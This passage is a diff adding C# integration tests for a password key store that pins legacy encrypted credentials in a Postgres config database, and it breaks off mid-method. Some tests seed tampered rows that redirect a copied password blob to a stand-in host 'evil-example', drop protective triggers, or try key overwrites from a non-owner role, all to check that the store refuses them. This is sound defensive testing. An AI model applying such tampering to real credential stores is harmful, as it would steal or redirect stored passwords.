+            await store.StartAsync(isWindows: true, canOpen: Open, logger: logger);
+
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(0L, await store.CandidatesAsync());
+            Assert.Equal(versionBefore + 1, await store.ConfigVersionAsync());
+            var pins = await store.ReadPinsAsync();
+            Assert.Equal(["0/smtp", "1/remediation", "1/server"], pins.Keys.Order(StringComparer.Ordinal).ToArray());
+
+            // value_sha256 is the hash of the STORED text, never of the password.
+            Assert.Equal(SHA256.HashData(Encoding.UTF8.GetBytes("legacy-server-blob")), pins["1/server"].Value);
+            Assert.NotEqual(SHA256.HashData(Encoding.UTF8.GetBytes("p@ss-not-real")), pins["1/server"].Value);
+            Assert.Equal(SHA256.HashData(Encoding.UTF8.GetBytes("legacy-remediation-blob")), pins["1/remediation"].Value);
+            Assert.Equal(SHA256.HashData(Encoding.UTF8.GetBytes("legacy-smtp-blob")), pins["0/smtp"].Value);
+
+            var server = ServerConnectionIdentity.FromStoredColumns("alpha-example", 1433, "sqlserver", "", false, "sql", "monitor_login", "Mandatory", false, false);
+            Assert.Equal(PasswordBinding.ForServer(server).LegacyPinHash(), pins["1/server"].Binding);
+            Assert.Equal(PasswordBinding.ForRemediation(server, "fix_login").LegacyPinHash(), pins["1/remediation"].Binding);
+            Assert.Equal(PasswordBinding.ForSmtp("smtp.example.com", 587, true, "mail_login").LegacyPinHash(), pins["0/smtp"].Binding);
+
+            // The sealed, reference and empty values were not pinned (server 2, 3 and 4 hold them), and a second start adds nothing.
+            await store.StartAsync(isWindows: true, canOpen: Open);
+            Assert.Equal(3, (await store.ReadPinsAsync()).Count);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TheFirstConfigView_CarriesThePins_OnlyWhenThePinSnapshotRanBeforeIt()
+    {
+        bool Open(string stored) => stored.StartsWith("legacy-", StringComparison.Ordinal) ? true : throw new CryptographicException("not a blob");
+        var windows = new LegacyDpapi(true, _ => "p@ss-not-real");
+        var ct = TestContext.Current.CancellationToken;
+
+        // The order the service runs (#5455): pins first, then the view. Every saved old-format password is pinned.
+        await using var pinnedFirst = await StoreFixture.CreateAsync();
+        var firstSucceeded = false;
+        try
+        {
+            await pinnedFirst.SeedServersAtUpgradeAsync();
+            await pinnedFirst.StartAsync(isWindows: true, canOpen: Open);
+            var view = await new StoreConfigProvider(pinnedFirst.Source).LoadViewAsync(new DarlingConfig(), ct);
+            Assert.NotNull(view);
+            var server = Assert.Single(view.EnabledServers, s => s.Name == "alpha-example");
+            Assert.NotNull(server.SecretPin);
+            Assert.NotNull(server.RemediationPin);
+            Assert.NotNull(view.Smtp.SecretPin);
+            Assert.Equal(0, StoreConfigProvider.CountPasswordsToEnterAgain(view.EnabledServers, view.Smtp, windows));
+            firstSucceeded = true;
+        }
+        finally
+        {
+            await pinnedFirst.CleanupAsync(firstSucceeded);
+        }
+
+        // The old order: the view is read before the snapshot, so the same rows carry no pin and are counted.
+        await using var viewFirst = await StoreFixture.CreateAsync();
+        var secondSucceeded = false;
+        try
+        {
+            await viewFirst.SeedServersAtUpgradeAsync();
+            var view = await new StoreConfigProvider(viewFirst.Source).LoadViewAsync(new DarlingConfig(), ct);
+            Assert.NotNull(view);
+            await viewFirst.StartAsync(isWindows: true, canOpen: Open);
+            var server = Assert.Single(view.EnabledServers, s => s.Name == "alpha-example");
+            Assert.Null(server.SecretPin);
+            Assert.Equal(3, StoreConfigProvider.CountPasswordsToEnterAgain(view.EnabledServers, view.Smtp, windows));
+            secondSucceeded = true;
+        }
+        finally
+        {
+            await viewFirst.CleanupAsync(secondSucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task OnLinux_ThePendingMarkerBecomesSkipped_AndNothingIsPinned()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            await store.StartAsync(isWindows: false, canOpen: static _ => throw new InvalidOperationException("must not be called"));
+
+            Assert.Equal("skipped", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AMissingMarkerRow_PinsNothing_AndCreatesNoMarker()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            await store.ExecAsync("DELETE FROM config.legacy_secret_pin_marker;");
+
+            var runtime = await store.StartAsync(isWindows: true, canOpen: static _ => true);
+
+            Assert.Equal("ok", runtime.State);
+            Assert.Null(await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ADroppedTrigger_OrOneEnabledButNotSetToFireAlways_MakesTheRingRefuse()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            // Enabled for ordinary sessions only (tgenabled = 'O'), not for every session state.
+            await store.ExecAsync("ALTER TABLE config.password_key ENABLE TRIGGER trg_password_key_owner_only_row;");
+            var ordinary = await store.StartAsync();
+            Assert.Equal("refused", ordinary.State);
+            Assert.False(ordinary.Ring.Status.CanSeal);
+            Assert.Contains("trg_password_key_owner_only_row", ordinary.Ring.Status.Reason, StringComparison.Ordinal);
+            Assert.Null(await store.ReadCurrentAsync());
+
+            await store.ExecAsync("ALTER TABLE config.password_key ENABLE ALWAYS TRIGGER trg_password_key_owner_only_row;");
+            Assert.Equal("ok", (await store.StartAsync()).State);
+
+            // A trigger that is gone.
+            await store.ExecAsync("DROP TRIGGER trg_password_key_owner_only_row ON config.password_key;");
+            var dropped = await store.StartAsync();
+            Assert.Equal("refused", dropped.State);
+            Assert.False(dropped.Ring.Status.CanSeal);
+            Assert.Contains("trg_password_key_owner_only_row", dropped.Ring.Status.Reason, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AValueAddedAfterTheSnapshotIsDone_IsNotPinned_AndAValueThatDoesNotOpenIsNeverPinned()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            // Server 5 holds a value this machine cannot open; it was there at the upgrade, so it is recorded, but it is not pinned.
+            await store.SeedServersAtUpgradeAsync(@"
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, port)
+VALUES (5, 'epsilon-example', 'epsilon-example', NULL, 'sql', 'monitor_login', 'unreadable-blob', 1433);");
+            bool Open(string stored) => stored.StartsWith("legacy-", StringComparison.Ordinal) ? true : throw new CryptographicException("not a blob");
+
+            await store.StartAsync(isWindows: true, canOpen: Open);
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(["0/smtp", "1/remediation", "1/server"], (await store.ReadPinsAsync()).Keys.Order(StringComparer.Ordinal).ToArray());
+
+            // After the snapshot is done a new legacy-looking value is not pinned, on this start or the next.
+            await store.ExecAsync(@"
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, port)
+VALUES (6, 'zeta-example', 'zeta-example', NULL, 'sql', 'monitor_login', 'legacy-new-blob', 1433);");
+            await store.StartAsync(isWindows: true, canOpen: Open);
+            await store.StartAsync(isWindows: true, canOpen: Open);
+
+            var pins = await store.ReadPinsAsync();
+            Assert.Equal(3, pins.Count);
+            Assert.DoesNotContain("6/server", pins.Keys);
+            Assert.DoesNotContain("5/server", pins.Keys);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TwoStartsAtOnceAgainstThePendingMarker_PinOnce_AndTheSecondSeesDone()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            var ct = TestContext.Current.CancellationToken;
+            var firstOpening = new ManualResetEventSlim(false);
+            bool SlowOpen(string stored)
+            {
+                // Holds the first snapshot's transaction open until the second one is waiting on the marker.
+                firstOpening.Set();
+                Thread.Sleep(1500);
+                return stored.StartsWith("legacy-", StringComparison.Ordinal) ? true : throw new CryptographicException("not a blob");
+            }
+
+            var first = Task.Run(
+                () => DarlingPasswordKeyStore.SnapshotLegacyPinsAsync(store.Source, true, SlowOpen, 30, new ListLogger(), ct), ct);
+            Assert.True(firstOpening.Wait(TimeSpan.FromSeconds(30), ct));
+            var second = Task.Run(
+                () => DarlingPasswordKeyStore.SnapshotLegacyPinsAsync(
+                    store.Source, true, static _ => throw new InvalidOperationException("must not be called"), 30, new ListLogger(), ct), ct);
+
+            var results = await Task.WhenAll(first, second);
+
+            Assert.Equal(3, results[0].Pinned);
+            Assert.Equal("done", results[0].MarkerState);
+            Assert.Equal(0, results[1].Pinned);
+            Assert.Equal("done", results[1].MarkerState);
+            Assert.Equal(3, (await store.ReadPinsAsync()).Count);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    private static bool OpensLegacy(string stored) =>
+        stored.StartsWith("legacy-", StringComparison.Ordinal) ? true : throw new CryptographicException("not a blob");
+
+    [Fact]
+    public async Task ARowWrittenAfterTheUpgrade_IsNeverPinned_AndIsRefused()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            // Server 6 is there at the upgrade, with its own old-format value.
+            await store.SeedServersAtUpgradeAsync(@"
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, port)
+VALUES (6, 'zeta-example', 'zeta-example', NULL, 'sql', 'monitor_login', 'legacy-other-blob', 1433);");
+
+            // After the upgrade: a new row holding a copy of server 1's value, and server 6 changed to hold that value for another host.
+            await store.ExecAsync(@"
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, port)
+VALUES (5, 'evil-example', 'evil-example', NULL, 'sql', 'monitor_login', 'legacy-server-blob', 1433);
+UPDATE config.config_monitored_servers SET host = 'evil-example', encrypted_password = 'legacy-server-blob' WHERE server_id = 6;");
+
+            var calls = 0;
+            bool Open(string stored)
+            {
+                calls++;
+                return OpensLegacy(stored);
+            }
+
+            await store.StartAsync(isWindows: true, canOpen: Open);
+
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(["0/smtp", "1/remediation", "1/server"], (await store.ReadPinsAsync()).Keys.Order(StringComparer.Ordinal).ToArray());
+            Assert.Equal(3, calls);
+
+            var ct = TestContext.Current.CancellationToken;
+            var view = await new StoreConfigProvider(store.Source).LoadViewAsync(new DarlingConfig(), ct);
+            Assert.NotNull(view);
+            var dpapi = new LegacyDpapi(true, static _ => throw new InvalidOperationException("must not be opened"));
+            foreach (var name in new[] { "evil-example", "zeta-example" })
+            {
+                var server = Assert.Single(view.EnabledServers, s => s.Name == name);
+                Assert.Null(server.SecretPin);
+                Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, store.LastRing!, dpapi));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ARowMovedToAnotherHost_IsNotPinned()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            await store.ExecAsync(@"
+DELETE FROM config.config_monitored_servers WHERE server_id = 1;
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, remediation_username, remediation_encrypted_password, port)
+VALUES (1, 'alpha-example', 'evil-example', '', 'sql', 'monitor_login', 'legacy-server-blob', 'fix_login', 'legacy-remediation-blob', 1433);");
+
+            await store.StartAsync(isWindows: true, canOpen: OpensLegacy);
+
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(["0/smtp"], (await store.ReadPinsAsync()).Keys.ToArray());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ALinuxHostLeavesTheStepToWindows()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            await store.StartAsync(isWindows: false, canOpen: static _ => throw new InvalidOperationException("must not be called"));
+            Assert.Equal("skipped", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            Assert.Equal(3L, await store.CandidatesAsync());
+
+            // A Windows host that starts later takes the step over from the skipped marker.
+            var before = await store.ConfigVersionAsync();
+            await store.StartAsync(isWindows: true, canOpen: OpensLegacy);
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(3, (await store.ReadPinsAsync()).Count);
+            Assert.Equal(0L, await store.CandidatesAsync());
+            Assert.Equal(before + 1, await store.ConfigVersionAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreWhoseStepWasSkippedBeforeTheRecord_RecordsNothing_AndAWindowsHostSetsItDone()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.ExecAsync("UPDATE config.legacy_secret_pin_marker SET state = 'skipped' WHERE id = 1;");
+            await store.SeedServersAtUpgradeAsync();
+            Assert.Equal(0L, await store.CandidatesAsync());
+
+            await store.StartAsync(isWindows: true, canOpen: static _ => throw new InvalidOperationException("must not be called"));
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            Assert.Equal(0L, await store.CandidatesAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AHostThatOpensNone_LeavesTheStepOpen()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            var before = await store.ConfigVersionAsync();
+
+            var opens = 0;
+            var runtime = await store.StartAsync(isWindows: true, canOpen: _ => { opens++; return false; });
+            Assert.Equal("pending", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            Assert.Equal(3L, await store.CandidatesAsync());
+            Assert.Equal(before, await store.ConfigVersionAsync());
+
+            // Nothing failed: a host that opens none leaves the step for another machine, and its sweep does not retry.
+            Assert.False(runtime.PinsWaiting);
+            var opensAtStart = opens;
+            await runtime.SweepCheckAsync(TestContext.Current.CancellationToken);
+            Assert.Equal(opensAtStart, opens);
+
+            await store.StartAsync(isWindows: true, canOpen: OpensLegacy);
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(3, (await store.ReadPinsAsync()).Count);
+            Assert.Equal(0L, await store.CandidatesAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task WhenNothingStillMatches_TheStepIsDone()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            await store.ExecAsync(@"
+UPDATE config.config_monitored_servers SET encrypted_password = 'sealed:v1:0123456789abcdef:AAAA',
+    remediation_encrypted_password = 'sealed:v1:0123456789abcdef:AAAA' WHERE server_id = 1;
+UPDATE config.config_notification SET smtp_encrypted_password = 'sealed:v1:0123456789abcdef:AAAA' WHERE id = 1;");
+            var before = await store.ConfigVersionAsync();
+
+            await store.StartAsync(isWindows: true, canOpen: static _ => throw new InvalidOperationException("must not be called"));
+
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            Assert.Equal(0L, await store.CandidatesAsync());
+            Assert.Equal(before, await store.ConfigVersionAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task WhenTheKeyStepThrows_ThePinsAreStillTaken()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            var before = await store.ConfigVersionAsync();
+
+            // A NUL character is refused by the store when the host's state row is written, so the key step throws.
+            var runtime = await store.StartAsync(isWindows: true, canOpen: OpensLegacy, serviceHost: "example\0host");
+
+            Assert.Equal("refused", runtime.State);
+            Assert.False(runtime.Ring.Status.CanSeal);
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(3, (await store.ReadPinsAsync()).Count);
+            Assert.Equal(0L, await store.CandidatesAsync());
+            Assert.Equal(before + 1, await store.ConfigVersionAsync());
+            Assert.False(runtime.PinsWaiting);
+
+            var view = await new StoreConfigProvider(store.Source).LoadViewAsync(new DarlingConfig(), TestContext.Current.CancellationToken);
+            Assert.NotNull(view);
+            Assert.NotNull(Assert.Single(view.EnabledServers, s => s.Name == "alpha-example").SecretPin);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AFailedFirstPinStep_IsRetriedOnTheSweep()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            var ct = TestContext.Current.CancellationToken;
+            var before = await store.ConfigVersionAsync();
+            var failed = false;
+            var opens = 0;
+            bool FailsOnce(string stored)
+            {
+                if (!failed)
+                {
+                    failed = true;
+                    throw new InvalidOperationException("the machine's store could not be read");
+                }
+
+                opens++;
+                return OpensLegacy(stored);
+            }
+
+            var runtime = await store.StartAsync(isWindows: true, canOpen: FailsOnce);
+
+            // The first try failed: the step is open, nothing is pinned, and the runtime says it is waiting.
+            Assert.Equal("pending", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            Assert.Equal(3L, await store.CandidatesAsync());
+            Assert.Equal(before, await store.ConfigVersionAsync());
+            Assert.True(runtime.PinsWaiting);
+
+            await runtime.SweepCheckAsync(ct);
+
+            Assert.False(runtime.PinsWaiting);
+            Assert.Equal("done", await store.MarkerAsync());
+            Assert.Equal(3, (await store.ReadPinsAsync()).Count);
+            Assert.Equal(0L, await store.CandidatesAsync());
+            Assert.Equal(before + 1, await store.ConfigVersionAsync());
+            var view = await new StoreConfigProvider(store.Source).LoadViewAsync(new DarlingConfig(), ct);
+            Assert.NotNull(view);
+            Assert.NotNull(Assert.Single(view.EnabledServers, s => s.Name == "alpha-example").SecretPin);
+
+            // The next sweep opens nothing and changes nothing.
+            var opensAfterRetry = opens;
+            await runtime.SweepCheckAsync(ct);
+            Assert.Equal(opensAfterRetry, opens);
+            Assert.Equal(before + 1, await store.ConfigVersionAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ADroppedCandidateTrigger_RefusesAndPinsNothing()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            await store.ExecAsync("DROP TRIGGER trg_legacy_secret_pin_candidate_owner_only_truncate ON config.legacy_secret_pin_candidate;");
+
+            var runtime = await store.StartAsync(isWindows: true, canOpen: OpensLegacy);
+            Assert.Equal("refused", runtime.State);
+            Assert.Contains("trg_legacy_secret_pin_candidate_owner_only_truncate", runtime.Ring.Status.Reason, StringComparison.Ordinal);
+
+            var snapshot = await DarlingPasswordKeyStore.SnapshotLegacyPinsAsync(
+                store.Source, true, static _ => throw new InvalidOperationException("must not be called"), 30, new ListLogger(), TestContext.Current.CancellationToken);
+            Assert.Equal("unprotected", snapshot.MarkerState);
+            Assert.Equal(0, snapshot.Pinned);
+
+            Assert.Equal("pending", await store.MarkerAsync());
+            Assert.Empty(await store.ReadPinsAsync());
+            Assert.Equal(3L, await store.CandidatesAsync());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ANonOwnerWhoUpdatesThePublishedKey_GetsPW010()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        var role = "pk_probe_" + Guid.NewGuid().ToString("N")[..10];
+        try
+        {
+            await store.StartAsync();
+            await store.ExecAsync($"CREATE ROLE {role} LOGIN PASSWORD 'p@ss-not-real'; GRANT USAGE ON SCHEMA config TO {role}; GRANT SELECT, UPDATE ON config.password_key TO {role};");
+            var builder = new NpgsqlConnectionStringBuilder(store.Scratch.ConnectionString) { Username = role, Password = "p@ss-not-real", Pooling = false };
+            await using var connection = new NpgsqlConnection(builder.ConnectionString);
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            await using var update = new NpgsqlCommand("UPDATE config.password_key SET public_key = decode(repeat('01', 400), 'hex');", connection);
+
+            var thrown = await Assert.ThrowsAsync<PostgresException>(() => update.ExecuteNonQueryAsync(TestContext.Current.CancellationToken));
+            Assert.Equal(PasswordKeyTables.OwnerOnlySqlState, thrown.SqlState);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded, $"DROP OWNED BY {role}; DROP ROLE IF EXISTS {role};");
+        }
+    }
+
+    private sealed class ListLogger : ILogger
+    {
+        public List<string> Lines { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state)
+            where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Lines.Add(formatter(state, exception));
+    }
+
+    /// <summary>One scratch store, migrated, with its own key directory and the owner's data source.</summary>
+    private sealed class StoreFixture : IAsyncDisposable
+    {
+        private StoreFixture(ScratchPostgres scratch, NpgsqlDataSource source, string directory)
+        {
+            Scratch = scratch;
+            Source = source;
+            Directory = directory;
+        }
+
+        public ScratchPostgres Scratch { get; }
+
+        public NpgsqlDataSource Source { get; }
+
+        public string Directory { get; }
+
+        public IPasswordKeyRing? LastRing { get; private set; }
+
+        public static async Task<StoreFixture> CreateAsync()
+        {
+            Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key runtime live pins (each mints its own scratch database).");
+            var ct = TestContext.Current.CancellationToken;
+            var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+            await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await owner.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(owner, ct);
+            }
+
+            var directory = Path.Combine(Path.GetTempPath(), "pmkey-" + Guid.NewGuid().ToString("N")[..12]);
+            System.IO.Directory.CreateDirectory(directory);
+            return new StoreFixture(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), directory);
+        }
+
+        public Task<DarlingPasswordKeyRuntime> StartAsync(
+            bool isWindows = false, Func<string, bool>? canOpen = null, Func<PasswordPrivateKey, PublishedKey, bool>? selfTest = null,
+            ILogger? logger = null, string serviceHost = "example-host") =>
+            DarlingPasswordKeyRuntime.StartAsync(
+                Directory, Source, logger ?? new ListLogger(), TestContext.Current.CancellationToken,
+                new PasswordKeyStartOptions
+                {
+                    IsWindows = isWindows,
+                    CanOpen = canOpen ?? (static _ => false),
+                    SelfTest = selfTest,
+                    SetRing = ring => LastRing = ring,
+                    ServiceHost = serviceHost,
+                });
+
+        public async Task ExecAsync(string sql, params (string Name, object Value)[] parameters)
+        {
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand(sql, c);
+            foreach (var (name, value) in parameters)
+            {
+                command.Parameters.AddWithValue(name, value);
+            }
+
+            await command.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        public async Task<PublishedPasswordKey?> ReadCurrentAsync()
+        {
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            return await PasswordKeyTables.ReadCurrentAsync(c, TestContext.Current.CancellationToken);
+        }
+
+        public async Task<(string State, string? KeyId, string? Note)> ReadStateAsync(string host)
+        {
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand("SELECT state, key_id, note FROM config.password_key_service WHERE service_host = @h;", c);
+            command.Parameters.AddWithValue("h", host);
+            await using var reader = await command.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+            Assert.True(await reader.ReadAsync(TestContext.Current.CancellationToken), $"No state row for {host}.");
+            return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetString(2));
+        }
+
+        public async Task<List<string>> ReadHostsAsync()
+        {
+            var hosts = new List<string>();
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand("SELECT service_host FROM config.password_key_service ORDER BY service_host;", c);
+            await using var reader = await command.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+            while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+            {
+                hosts.Add(reader.GetString(0));
+            }
+
+            return hosts;
+        }
+
+        public async Task<Dictionary<string, (string State, string? Reason, bool ReplacedAtSet)>> ReadRowsAsync()
+        {
+            var rows = new Dictionary<string, (string, string?, bool)>();
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand("SELECT key_id, state, replaced_reason, replaced_at IS NOT NULL FROM config.password_key;", c);
+            await using var reader = await command.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+            while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+            {
+                rows[reader.GetString(0)] = (reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetString(2), reader.GetBoolean(3));
+            }
+
+            return rows;
+        }
+
+        public async Task<string?> MarkerAsync()
+        {
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand("SELECT state FROM config.legacy_secret_pin_marker WHERE id = 1;", c);
+            return (string?)await command.ExecuteScalarAsync(TestContext.Current.CancellationToken);
+        }
+
+        public async Task<Dictionary<string, (byte[] Value, byte[] Binding)>> ReadPinsAsync()
+        {
+            var pins = new Dictionary<string, (byte[], byte[])>();
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand("SELECT server_id, slot, value_sha256, binding_sha256 FROM config.legacy_secret_pin;", c);
+            await using var reader = await command.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+            while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+            {
+                pins[$"{reader.GetInt32(0)}/{reader.GetString(1)}"] = ((byte[])reader.GetValue(2), (byte[])reader.GetValue(3));
+            }
+
+            return pins;
+        }
+
+        /// <summary>Server 1 holds a legacy blob for the server and the remediation login; server 2 a sealed value, 3 a reference and
+        /// 4 an empty one; the notification row holds a legacy blob. Only the legacy blobs may be pinned.</summary>
+        public async Task SeedServersAsync()
+        {
+            await ExecAsync(@"
+INSERT INTO config.config_service (id) VALUES (1) ON CONFLICT (id) DO NOTHING;
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, remediation_username, remediation_encrypted_password, port)
+VALUES (1, 'alpha-example', 'alpha-example', '', 'sql', 'monitor_login', 'legacy-server-blob', 'fix_login', 'legacy-remediation-blob', 1433),
+       (2, 'beta-example', 'beta-example', NULL, 'sql', 'monitor_login', 'sealed:v1:0123456789abcdef:AAAA', NULL, NULL, 1433),
+       (3, 'gamma-example', 'gamma-example', NULL, 'sql', 'monitor_login', 'env:EXAMPLE_PASSWORD', NULL, NULL, 1433),
+       (4, 'delta-example', 'delta-example', NULL, 'sql', 'monitor_login', '', NULL, NULL, 1433);
+INSERT INTO config.config_notification (id, smtp_host, smtp_port, smtp_use_ssl, smtp_username, smtp_encrypted_password)
+VALUES (1, 'smtp.example.com', 587, TRUE, 'mail_login', 'legacy-smtp-blob')
+ON CONFLICT (id) DO UPDATE SET smtp_host = EXCLUDED.smtp_host, smtp_port = EXCLUDED.smtp_port, smtp_use_ssl = EXCLUDED.smtp_use_ssl,
+    smtp_username = EXCLUDED.smtp_username, smtp_encrypted_password = EXCLUDED.smtp_encrypted_password;");
+        }
+
+        /// <summary>Records the old-format values now in the store, as the V167 rung does at the upgrade.</summary>
+        public Task CaptureCandidatesAsync() => ExecAsync(LegacyPinCandidateTables.CaptureSql);
+
+        /// <summary>The store as an upgrade finds it: <see cref="SeedServersAsync"/>, then <paramref name="rowsBeforeTheUpgrade"/>
+        /// (more SQL for rows that were already there), then the record the rung takes. Rows written after this call are not in it.</summary>
+        public async Task SeedServersAtUpgradeAsync(string? rowsBeforeTheUpgrade = null)
+        {
+            await SeedServersAsync();
+            if (rowsBeforeTheUpgrade is not null)
+            {
+                await ExecAsync(rowsBeforeTheUpgrade);
+            }
+
+            await CaptureCandidatesAsync();
+        }
+
+        public async Task<long> CountAsync(string sql)
+        {
+            await using var c = await Source.OpenConnectionAsync(TestContext.Current.CancellationToken);
+            await using var command = new NpgsqlCommand(sql, c);
+            return Convert.ToInt64(await command.ExecuteScalarAsync(TestContext.Current.CancellationToken), System.Globalization.CultureInfo.InvariantCulture);
+        }
+
+        public Task<long> CandidatesAsync() => CountAsync("SELECT count(*) FROM config.legacy_secret_pin_candidate;");
+
+        public Task<long> ConfigVersionAsync() => CountAsync("SELECT config_version FROM config.config_service WHERE id = 1;");
+
+        public async Task CleanupAsync(bool bodySucceeded, string? extraSql = null)
+        {
+            try
+            {
